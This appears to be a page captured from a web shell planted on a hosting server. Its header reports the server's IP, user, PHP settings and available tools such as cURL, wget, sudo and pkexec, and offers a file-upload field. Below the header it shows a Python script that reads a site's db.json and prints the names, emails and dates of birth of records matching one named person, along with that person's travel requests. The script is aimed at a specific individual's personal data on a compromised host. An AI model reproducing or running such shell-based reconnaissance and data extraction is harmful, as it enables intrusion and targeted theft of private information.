| Server IP : 216.92.14.13 / Your IP : 216.73.217.126 Web Server : Apache System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64 User : rmlac2fmr ( 1040637) PHP Version : 8.2.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/home/rmlac2fmr/ |
Upload File : |
import json
db = json.load(open("/home/rmlac2fmr/public_html/jn.com/ops/data/db.json"))
p = [x for x in db["persons"] if "josserand" in (x["firstName"]+x["lastName"]).lower() or "bill" in x["firstName"].lower()]
r = [x for x in db["travelRequests"] if "josserand" in x.get("submittedName","").lower()]
print(f"Persons: {len(p)}")
for x in p:
print(f" {x['id']} {x['firstName']} {x['lastName']} {x['email']} dob:{x.get('dob','')}")
print(f"Requests: {len(r)}")
for x in r:
print(f" {x['id']} {x.get('submittedName','')} show:{x.get('showId','')}")